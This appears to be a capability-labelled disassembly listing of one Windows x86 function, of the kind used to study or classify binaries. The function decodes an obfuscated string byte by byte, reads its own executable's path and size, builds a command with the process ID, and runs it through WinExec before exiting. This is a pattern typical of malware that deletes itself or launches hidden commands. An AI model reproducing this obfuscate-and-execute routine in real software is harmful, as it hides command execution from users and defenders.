Function at 0x449ff0
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x18
mov esi, esp
mov eax, dword [0x476618]
test eax, eax
jne 0x44a803
movzx eax, byte [0x4756c0]
mov ecx, eax
add cl, al
not cl
add cl, al
mov edx, eax
not dl
or dl, cl
mov ecx, edx
not cl
or cl, 0xc2
add cl, dl
inc cl
and al, 0x3d
or al, cl
mov byte [0x475730], al
movzx ecx, byte [0x4756c1]
mov eax, ecx
not al
mov edx, eax
and dl, 0x82
mov ah, cl
and ah, 0x61
or ah, dl
and cl, 0x14
and al, 8
or al, cl
or ah, 0x14
xor ah, al
xor ah, 0x7d
mov byte [0x475731], ah
movzx eax, byte [0x4756c2]
xor al, 0x39
mov byte [0x475732], al
movzx eax, byte [0x4756c3]
mov ecx, eax
not cl
or cl, 0x61
add al, cl
add al, 0x9f
and al, cl
not al
mov byte [0x475733], al
movzx eax, byte [0x4756c4]
mov ecx, eax
add cl, al
and cl, 0x86
sub al, cl
add al, 0xc3
mov byte [0x475734], al
movzx eax, byte [0x4756c5]
mov ecx, eax
add cl, al
and cl, 0x74
sub al, cl
add al, 0xba
mov byte [0x475735], al
movzx eax, byte [0x4756c6]
xor al, 0x22
mov byte [0x475736], al
movzx eax, byte [0x4756c7]
mov edx, eax
add dl, al
and dl, 0xfa
mov ecx, eax
shl cl, 2
and cl, 4
or cl, dl
mov edx, ecx
xor dl, 3
xor cl, 0xfc
and cl, al
not al
and al, dl
sub cl, al
mov byte [0x475737], cl
movzx eax, byte [0x4756c8]
xor al, 0xb3
mov byte [0x475738], al
movzx eax, byte [0x4756c9]
xor al, 0x14
mov byte [0x475739], al
movzx eax, byte [0x4756ca]
mov ecx, eax
add cl, al
and cl, 0x8c
sub al, cl
add al, 0xc6
mov byte [0x47573a], al
movzx eax, byte [0x4756cb]
xor al, 0x4e
mov byte [0x47573b], al
movzx eax, byte [0x4756cc]
xor al, 0x45
mov byte [0x47573c], al
movzx ecx, byte [0x4756cd]
mov eax, ecx
and al, 0x80
mov edx, ecx
and dl, 2
or al, 2
mul dl
mov edx, eax
and dl, 0x7c
and al, 0x80
xor al, 0x82
add al, cl
sub al, dl
mov byte [0x47573d], al
movzx eax, byte [0x4756ce]
xor al, 0xad
mov byte [0x47573e], al
movzx eax, byte [0x4756cf]
xor al, 0x2b
mov byte [0x47573f], al
movzx eax, byte [0x4756d0]
xor al, 0xa4
mov byte [0x475740], al
movzx eax, byte [0x4756d1]
xor al, 0x62
mov byte [0x475741], al
movzx ecx, byte [0x4756d2]
mov eax, ecx
not al
mov edx, ecx
or al, 0x47
add al, cl
xor cl, 0x47
or dl, 0xb8
and dl, cl
add al, 0xb9
not dl
and dl, al
mov byte [0x475742], dl
movzx eax, byte [0x4756d3]
mov ecx, eax
not cl
or cl, 0xad
or al, 0x52
and al, cl
mov byte [0x475743], al
movzx eax, byte [0x4756d4]
mov byte [0x475744], al
movzx eax, byte [0x4756d5]
xor al, 0xe6
mov byte [0x475745], al
movzx eax, byte [0x4756d6]
xor al, 0x5e
mov byte [0x475746], al
movzx eax, byte [0x4756d7]
xor al, 0xe4
mov byte [0x475747], al
movzx eax, byte [0x4756d8]
xor al, 0xcf
mov byte [0x475748], al
movzx eax, byte [0x4756d9]
xor al, 0xa4
mov byte [0x475749], al
movzx eax, byte [0x4756da]
mov ecx, eax
add cl, al
and cl, 0xdc
sub al, cl
add al, 0xee
mov byte [0x47574a], al
movzx eax, byte [0x4756db]
xor al, 0xdf
mov byte [0x47574b], al
movzx eax, byte [0x4756dc]
xor al, 0xaa
mov byte [0x47574c], al
movzx eax, byte [0x4756dd]
xor al, 0x8f
mov byte [0x47574d], al
movzx eax, byte [0x4756de]
xor al, 0xe
mov byte [0x47574e], al
movzx eax, byte [0x4756df]
xor al, 0x32
mov byte [0x47574f], al
movzx eax, byte [0x4756e0]
mov ecx, eax
add cl, al
and cl, 0x40
sub al, cl
add al, 0x20
mov byte [0x475750], al
movzx eax, byte [0x4756e1]
xor al, 0xb6
mov byte [0x475751], al
movzx eax, byte [0x4756e2]
mov ecx, eax
add cl, al
and cl, 0xc
sub al, cl
add al, 6
mov byte [0x475752], al
movzx eax, byte [0x4756e3]
xor al, 0xc5
mov byte [0x475753], al
movzx eax, byte [0x4756e4]
xor al, 0x36
mov byte [0x475754], al
movzx eax, byte [0x4756e5]
mov ecx, eax
add cl, al
and cl, 0x10
sub al, cl
add al, 0x88
mov byte [0x475755], al
movzx eax, byte [0x4756e6]
xor al, 0x35
mov byte [0x475756], al
movzx eax, byte [0x4756e7]
xor al, 0x5d
mov byte [0x475757], al
movzx eax, byte [0x4756e8]
mov ecx, eax
add cl, al
and cl, 0x8a
sub al, cl
add al, 0xc5
mov byte [0x475758], al
movzx eax, byte [0x4756e9]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0xf
and al, 0xf0
or al, cl
xor al, 0xc4
mov byte [0x475759], al
movzx eax, byte [0x4756ea]
xor al, 0xb3
mov byte [0x47575a], al
movzx eax, byte [0x4756eb]
xor al, 0xc8
mov byte [0x47575b], al
movzx eax, byte [0x4756ec]
mov ecx, eax
not cl
mov edx, eax
xor dl, 0x93
or al, 0x6c
and al, dl
and cl, 0x93
or cl, al
mov byte [0x47575c], cl
movzx eax, byte [0x4756ed]
xor al, 0xfa
mov byte [0x47575d], al
movzx edx, byte [0x4756ee]
mov ecx, edx
xor cl, 0xcc
mov eax, edx
or al, 0x33
and al, cl
mov ch, al
and ch, 0xfd
mov cl, dl
and cl, 2
or al, 2
mul cl
mov cl, al
mov eax, edx
or al, 0xfd
inc al
mul ch
sub al, cl
add al, dl
add al, 0x33
mov byte [0x47575e], al
movzx eax, byte [0x4756ef]
xor al, 0xae
mov byte [0x47575f], al
movzx eax, byte [0x4756f0]
mov byte [0x475760], al
movzx eax, byte [0x4756f1]
xor al, 0x55
mov byte [0x475761], al
movzx ecx, byte [0x4756f2]
mov eax, ecx
not al
mov edx, eax
add dl, al
add dl, cl
mov cl, 0xfe
sub cl, dl
and cl, 0xdc
and al, 0x23
or al, cl
not al
mov byte [0x475762], al
movzx eax, byte [0x4756f3]
xor al, 0x68
mov byte [0x475763], al
movzx eax, byte [0x4756f4]
xor al, 0x43
mov byte [0x475764], al
movzx eax, byte [0x4756f5]
xor al, 0x83
mov byte [0x475765], al
movzx eax, byte [0x4756f6]
xor al, 0x88
mov byte [str.n__b_], al
movzx eax, byte [0x4756f7]
xor al, 0x1d
mov byte [0x475767], al
movzx eax, byte [0x4756f8]
xor al, 0xf0
mov byte [0x475768], al
movzx eax, byte [0x4756f9]
xor al, 0x9b
mov byte [0x475769], al
movzx eax, byte [0x4756fa]
xor al, 0xf3
mov byte [0x47576a], al
movzx eax, byte [0x4756fb]
mov edx, eax
not dl
mov ecx, edx
add cl, dl
not cl
add cl, dl
not cl
and al, 0xc4
mov edx, eax
add dl, al
not dl
add dl, al
and cl, 0x3b
and dl, cl
add cl, cl
sub al, dl
add al, cl
mov byte [0x47576b], al
movzx eax, byte [0x4756fc]
mov ecx, eax
add cl, al
and cl, 0x18
sub cl, al
add cl, cl
add cl, 6
and cl, 0x38
mov dl, 0x1b
sub dl, cl
add cl, 0xe4
xor cl, al
and dl, al
add dl, dl
sub dl, cl
mov byte [0x47576c], dl
movzx eax, byte [0x4756fd]
mov ecx, eax
add cl, al
and cl, 0x9a
sub al, cl
add al, 0x4d
mov byte [0x47576d], al
movzx eax, byte [0x4756fe]
xor al, 0x69
mov byte [0x47576e], al
movzx eax, byte [str.fv_]
xor al, 3
mov byte [0x47576f], al
movzx eax, byte [0x475700]
xor al, 2
mov byte [0x475770], al
movzx eax, byte [0x475701]
xor al, 0x41
mov byte [0x475771], al
movzx eax, byte [0x475702]
xor al, 0x15
mov byte [0x475772], al
movzx eax, byte [0x475703]
xor al, 0x81
mov byte [0x475773], al
movzx eax, byte [0x475704]
xor al, 0xe8
mov byte [0x475774], al
movzx eax, byte [0x475705]
xor al, 0x4d
mov byte [0x475775], al
movzx eax, byte [0x475706]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0x21
and al, 0xde
or al, cl
mov byte [0x475776], al
movzx eax, byte [0x475707]
xor al, 0x88
mov byte [0x475777], al
movzx eax, byte [0x475708]
mov ecx, eax
add cl, al
and cl, 0x38
sub al, cl
add al, 0x1c
mov byte [0x475778], al
movzx eax, byte [0x475709]
xor al, 0x86
mov byte [0x475779], al
movzx eax, byte [0x47570a]
xor al, 0xc6
mov byte [0x47577a], al
movzx eax, byte [0x47570b]
mov ecx, eax
add cl, al
and cl, 0xa
sub cl, al
add cl, cl
add cl, 4
and cl, 0x1a
sub al, cl
add al, 0xd
mov byte [0x47577b], al
movzx eax, byte [0x47570c]
xor al, 0xa3
mov byte [0x47577c], al
movzx eax, byte [0x47570d]
xor al, 0x5b
mov byte [0x47577d], al
movzx eax, byte [0x47570e]
mov ecx, eax
add cl, al
and cl, 0x18
sub al, cl
add al, 0xc
mov byte [0x47577e], al
movzx edx, byte [0x47570f]
mov eax, edx
and al, 0x8d
mov ecx, eax
not cl
add dl, 0x8e
add cl, dl
mov ah, al
sub ah, dl
and ah, 0x30
and cl, 0xcf
or cl, ah
xor cl, 0xcf
or cl, al
mov byte [0x47577f], cl
movzx eax, byte [0x475710]
xor al, 0xe7
mov byte [0x475780], al
movzx eax, byte [0x475711]
xor al, 0x6b
mov byte [str.L_y4], al
movzx eax, byte [0x475712]
mov ecx, eax
add cl, al
and cl, 0x74
sub al, cl
add al, 0x3a
mov byte [0x475782], al
movzx eax, byte [0x475713]
xor al, 0x5a
mov byte [0x475783], al
movzx eax, byte [0x475714]
xor al, 7
mov byte [0x475784], al
movzx eax, byte [0x475715]
xor al, 0xaa
mov byte [0x475785], al
movzx eax, byte [0x475716]
xor al, 0x86
mov byte [0x475786], al
movzx eax, byte [0x475717]
xor al, 0xb8
mov byte [0x475787], al
movzx eax, byte [0x475718]
mov ecx, eax
or cl, 0x15
and al, 0x15
mov edx, ecx
add dl, cl
not dl
add dl, cl
or dl, al
mov byte [0x475788], dl
movzx eax, byte [0x475719]
xor al, 0x76
mov byte [0x475789], al
movzx eax, byte [0x47571a]
xor al, 0x29
mov byte [0x47578a], al
movzx eax, byte [0x47571b]
mov ecx, eax
add cl, al
and cl, 0x2c
sub al, cl
add al, 0x16
mov byte [0x47578b], al
movzx eax, byte [0x47571c]
xor al, 0xf3
mov byte [0x47578c], al
movzx eax, byte [0x47571d]
mov ecx, eax
add cl, al
and cl, 0xba
sub al, cl
add al, 0xdd
mov byte [0x47578d], al
movzx eax, byte [0x47571e]
mov ecx, eax
add cl, al
and cl, 8
sub al, cl
add al, 0x84
mov byte [0x47578e], al
movzx eax, byte [0x47571f]
xor al, 0xd0
mov byte [0x47578f], al
movzx eax, byte [0x475720]
xor al, 0xc8
mov byte [0x475790], al
movzx eax, byte [0x475721]
mov ecx, eax
add cl, al
not cl
add cl, al
and al, 0xb5
and cl, 0x4a
or cl, al
not cl
mov byte [0x475791], cl
movzx eax, byte [0x475722]
xor al, 0xba
mov byte [0x475792], al
movzx eax, byte [0x475723]
mov ecx, eax
add cl, al
and cl, 0xb2
sub al, cl
add al, 0xd9
mov byte [0x475793], al
movzx ecx, byte [0x475724]
mov eax, ecx
add al, cl
and al, 0x52
mov dl, 0x56
sub dl, cl
add cl, 0x29
and dl, al
not al
and al, cl
sub al, dl
mov byte [0x475794], al
movzx eax, byte [0x475725]
mov ecx, eax
not cl
mov edx, eax
xor dl, 0xc5
add dl, cl
and cl, 0xc5
sub dl, cl
or al, 0xc5
and al, dl
mov byte [0x475795], al
movzx eax, byte [0x475726]
xor al, 0xfe
mov byte [0x475796], al
movzx eax, byte [0x475727]
xor al, 0x9f
mov byte [0x475797], al
mov dword [0x476618], 1
push eax
sub esp, 0x7fc
mov dword [esi + 0xc], esp
sub esp, 0x200
mov edi, esp
mov dword [esi + 4], edi
sub esp, 8
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
sub esp, 0x64
mov dword [esi + 8], esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x200
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 7
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
add dword [ebx], 0xffffffff
adc dword [ebx + 4], 0xffffffff
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x68
push 0x475730
mov edi, dword [esi + 8]
push edi
call fcn.00450100
add esp, 0xc
mov eax, dword [esi + 4]
push eax
push eax
push dword [ebx]
push edi
push 0x800
mov edi, dword [esi + 0xc]
push edi
call fcn.0044a8c0
add esp, 0x18
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]